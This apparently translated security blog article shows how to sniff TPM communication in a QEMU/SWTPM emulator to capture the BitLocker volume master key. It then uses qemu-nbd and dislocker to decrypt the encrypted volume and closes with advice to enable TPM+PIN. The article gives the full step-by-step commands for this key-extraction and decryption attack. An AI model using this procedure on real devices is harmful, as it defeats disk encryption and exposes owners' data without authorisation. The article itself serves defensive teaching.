Experience Stealing BitLocker Keys from TPM Communication and Decrypting an Encrypted Volume Using an Emulator

In this article, we will introduce a straightforward method to experience stealing BitLocker keys from TPM communication and decrypting an encrypted volume using an emulator. I hope this article serves as an opportunity to better understand what kinds of threats TPM and BitLocker can effectively mitigate.

This is a translated article. The original Japanese article is here.

Preparation

In the previous article, we covered the steps to install Windows 11 on a QEMU emulator and capture TPM communication. In this article, we will continue using this environment. While the process is time-consuming, it's possible to achieve it with a single PC and some copy-pasting, so if you have the time, we encourage you to give it a try 💪.

For those short on time, here’s a quick 3-step summary:

  • Create a Windows virtual machine (QEMU) on Linux
  • Use a TPM emulator (SWTPM) for the virtual machine's TPM
  • Capture the communication between the virtual machine and the TPM emulator using our library

Enabling BitLocker

Start the QEMU Windows virtual machine and enable BitLocker. You don't necessarily need to capture TPM communication during this step, but doing so might allow you to enjoy analyzing the data later. Here are the commands for reference.

Start the SWTPM (TPM simulator):

while true; do swtpm socket --tpmstate dir="$HOME"/swtpm --tpm2 --server port=2321 --ctrl type=tcp,port=2322; done

Start the TPM communication proxy:

go run github.com/CyberDefenseInstitute/tpmproxy/example/qemu_swtpm_forward@latest

Start the QEMU Windows virtual machine:

qemu-system-x86_64 \
  -machine q35,accel=kvm \
  -m 4096 \
  -cpu host \
  -smp 2,sockets=1,dies=1,cores=2,threads=1 \
  -display spice-app \
  -nic none \
  -drive file="$HOME"/win11.qcow2,if=virtio,format=qcow2,discard=unmap \
  -drive if=pflash,format=raw,unit=0,file=/usr/share/OVMF/OVMF_CODE_4M.secboot.fd,readonly=on \
  -drive if=pflash,format=raw,file="$HOME"/OVMF_VARS_4M.ms.fd \
  -chardev socket,id=chrtpm,path=/tmp/qemu_swtpm_fwd.sock \
  -tpmdev emulator,id=tpm0,chardev=chrtpm \
  -device tpm-tis,tpmdev=tpm0

Next, open the BitLocker management screen from the Control Panel and enable BitLocker. In this article, we will output the BitLocker recovery key as a PDF file in the root of the C drive. Let's set our goal: if we can extract this PDF file from the encrypted volume, we will consider it a successful decryption 😄.

Once BitLocker is enabled, shut down the Windows virtual machine. It might also be a good idea to take a snapshot at this point.

qemu-img snapshot -c bitlocker "$HOME"/win11.qcow2

Stealing BitLocker Keys from TPM Communication

We will use qemu_swtpm_dissect to steal the BitLocker keys from TPM communication. In real-world scenarios, you would need to physically open the PC, locate the TPM chip, solder probe wires to it, and use a logic analyzer to capture the communication. Imagine this as the process we are simulating.

go run github.com/CyberDefenseInstitute/tpmproxy/example/qemu_swtpm_dissect@latest

Once again, start the QEMU Windows virtual machine and...

qemu-system-x86_64 \
  -machine q35,accel=kvm \
  -m 4096 \
  -cpu host \
  -smp 2,sockets=1,dies=1,cores=2,threads=1 \
  -display spice-app \
  -nic none \
  -drive file="$HOME"/win11.qcow2,if=virtio,format=qcow2,discard=unmap \
  -drive if=pflash,format=raw,unit=0,file=/usr/share/OVMF/OVMF_CODE_4M.secboot.fd,readonly=on \
  -drive if=pflash,format=raw,file="$HOME"/OVMF_VARS_4M.ms.fd \
  -chardev socket,id=chrtpm,path=/tmp/qemu_swtpm_fwd.sock \
  -tpmdev emulator,id=tpm0,chardev=chrtpm \
  -device tpm-tis,tpmdev=tpm0

In qemu_swtpm_dissect, you should see output starting with UnsealResponse like the following:

UnsealResponse: 2c000000010000000320000031828e27937d83409541a3049170abc4e94be4926b8462e6215223acb4cee7b3

The part 31828e27937d83409541a3049170abc4e94be4926b8462e6215223acb4cee7b3 is the VMK (Volume Master Key), which is the key used to decrypt the BitLocker-encrypted volume. The value you see in your environment will likely differ.

For those familiar with Wireshark, we encourage you to try capturing the VMK using Wireshark as well 🦈.

Save the obtained VMK to a file for later use.

echo -n <value of UnsealResponse> | tail -c 64 | xxd -r -p > "$HOME"/vmk.bin

Mounting the Emulator's Virtual Storage on Linux

First, shut down the QEMU Windows virtual machine. Next, mount the virtual storage file of the emulator on Linux. Imagine this as the real-world scenario where you physically remove the encrypted storage from a Windows PC and connect it to a Linux PC for analysis.

sudo modprobe nbd
sudo qemu-nbd -c /dev/nbd0 "$HOME"/win11.qcow2
ls /dev/nbd0p*

You should see /dev/nbd0p1 through /dev/nbd0p4 listed. Each corresponds to different partitions, and the one we are interested in is /dev/nbd0p3, which is the BitLocker-encrypted volume.

Let’s take a quick look at the volume's information.

sudo apt install libbde-utils
sudo bdeinfo /dev/nbd0p3

You should notice that the BitLocker recovery key matches the ID from the PDF we saw earlier.

$ sudo bdeinfo /dev/nbd0p3
bdeinfo 20190102

BitLocker Drive Encryption information:
	Encryption method		: AES-XTS 128-bit
	Volume identifier		: 0acac894-27bf-4446-9fc7-cbd5f22ca5f9
	Creation time			: Oct 10, 2024 05:10:54.840129500 UTC
	Description			: DESKTOP-IPILQ44 C: 10/10/2024
	Number of key protectors	: 2

Key protector 0:
	Identifier			: 82703178-414d-4c96-b489-1a3405f6ba01
	Type				: TPM

Key protector 1:
	Identifier			: ee9ed5b9-8aa2-4358-b3e7-25242731a6ac
	Type				: Recovery password

Decrypting the Encrypted Volume

Here we are at the final step... exciting, right?

Using the VMK (Volume Master Key) we obtained earlier and Dislocker, we will decrypt the encrypted volume. From this point onward, the steps are the same whether you're working in an emulator or in a real-world scenario.

sudo apt install dislocker
mkdir -p "$HOME"/mnt/{dislocker,win11_c}
sudo dislocker -vvvv --readonly --volume /dev/nbd0p3 --vmk "$HOME/vmk.bin" "$HOME"/mnt/dislocker -- -f
sudo mount --read-only --options loop --options uid="$(id --user)",gid="$(id --group)" "$HOME"/mnt/dislocker/dislocker-file "$HOME"/mnt/win11_c

Now, use your file manager to browse through "$HOME"/mnt/win11_c and look for the PDF...

Success! The file has been opened 🙌.

Cleanup

After closing the PDF and file manager, unmount the volume. In a real-world scenario, this would be akin to removing the encrypted storage from the Linux PC and returning it to the Windows PC.

With that done, the process is complete!

sudo umount "$HOME"/mnt/win11_c
sudo umount "$HOME"/mnt/dislocker
sudo killall qemu-nbd

What Just Happened?

Let's attempt a simplified technical explanation of what occurred here.

First, a rough overview of BitLocker’s typical operation:

  1. When BitLocker is enabled, a key is generated to encrypt the volume: FVEK (Full Volume Encryption Key).
  2. A key to encrypt the FVEK is generated: VMK (Volume Master Key).
  3. A TPM object is created, and the VMK is "sealed" (basically, the VMK is encrypted using the TPM).
  4. During Windows boot, the VMK sealed in the TPM object is "unsealed" (basically, the VMK is decrypted using the TPM).
  5. The VMK is used to decrypt the FVEK.
  6. The FVEK is used to decrypt the volume.

The "unsealing" of the VMK is done through the TPM as part of the boot process verification. For example, if a malicious boot manager were installed to steal the VMK, the VMK wouldn't be unsealed. However, if we can capture the TPM communication, it’s possible to steal the VMK without tampering with the boot process.

TPM communication itself is often not encrypted, and the TPM2_Unseal command used to unseal the VMK returns the unsealed data in cleartext.

Thus, the steps of Capturing TPM communication => Stealing the VMK => Decrypting the FVEK => Decrypting the volume were successful.

Conclusion

In this article, we explored what happens when TPM communication is captured, using BitLocker, a prime example of TPM usage, to demonstrate how to steal BitLocker keys from TPM communication and decrypt an encrypted volume. We hope this gave you a clearer idea of the conditions under which a BitLocker-encrypted volume could be decrypted.

It’s important to understand—though this may seem controversial to some—that this isn't a vulnerability in BitLocker, but rather part of its design. Nor is this a flaw in TPM itself. While "TPM-only" can help mitigate attacks from Attacker without much skill or with limited physical access, it doesn't protect against Attacker with skill and lengthy physical access. Microsoft has clearly stated this in their documentation on BitLocker countermeasures: Attacker countermeasures. For those who are concerned, it’s possible to enhance BitLocker’s protection via group policies. For example, enabling TPM+PIN and disabling sleep mode can mitigate attacks from Attacker with skill and lengthy physical access.

As many years have passed since BitLocker was first released, we should recognize that the number of attackers capable of executing attacks like the one described in this article, targeting real PCs and TPMs, has likely increased. If you feel that your current security measures might not be adequate for protecting your valuable assets, it may be time to reassess and consider strengthening your defenses.

Next Episode Preview

At Cyber Defense Institute, we are conducting research and development on PIV Gateway™, a zero-trust system using TPM remote attestation technology as a root of trust. PIV Gateway™ supports encryption of TPM communication parameters. In the next article, I plan to dive into what TPM communication parameter encryption is, why it hasn’t been adopted for BitLocker, and the tough challenges that have kept it from becoming practical. Since this is going to take quite a bit of time to write, I might throw in a small tip along the way—TPMProxy can proxy not only SWTPM but also real TPM communication.

Until then, enjoy your TPM life 👋.

© 2016 - 2024 DARK MATTER / Built with Hugo / Theme Stack designed by Jimmy